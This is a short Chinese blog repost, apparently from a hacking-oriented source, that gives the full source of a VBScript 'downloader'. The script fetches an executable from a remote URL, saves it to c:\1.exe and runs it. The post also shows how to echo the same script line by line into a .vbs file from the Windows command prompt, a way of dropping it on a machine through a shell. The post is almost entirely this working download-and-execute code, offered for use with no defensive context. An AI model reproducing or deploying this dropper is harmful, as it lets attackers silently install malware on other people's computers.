VBS下载者源代码

HackGp vbs

Set Post = CreateObject(“Msxml2.XMLHTTP”)
Set Shell = CreateObject(“Wscript.Shell”)
Post.Open “GET”,”http://www.cletter.tk/cletter/1.exe”,0
Post.Send()
Set aGet = CreateObject(“ADODB.Stream”)
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile “c:\1.exe”,2
wscript.sleep 10000
Shell.Run (“c:\1.exe”) ‘延迟过后执行下载文件

DOS下执行

echo Set Post = CreateObject(“Msxml2.XMLHTTP”) >>andy.vbs
echo Set Shell = CreateObject(“Wscript.Shell”) >>andy.vbs
echo Post.Open “GET”,”http://www.cletter.tk/cletter/1.exe”,0 >>andy.vbs
echo Post.Send() >>andy.vbs
echo Set aGet = CreateObject(“ADODB.Stream”) >>andy.vbs
echo aGet.Mode = 3 >>andy.vbs
echo aGet.Type = 1 >>andy.vbs
echo aGet.Open() >>andy.vbs
echo aGet.Write(Post.responseBody) >>andy.vbs
echo aGet.SaveToFile “c:\1.exe”,2 >>andy.vbs
echo wscript.sleep 1000 >>andy.vbs
echo Shell.Run (“c:\1.exe”) >>andy.vbs

转载于:https://www.cnblogs.com/cdxkyz/archive/2011/11/26/vbs_down.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值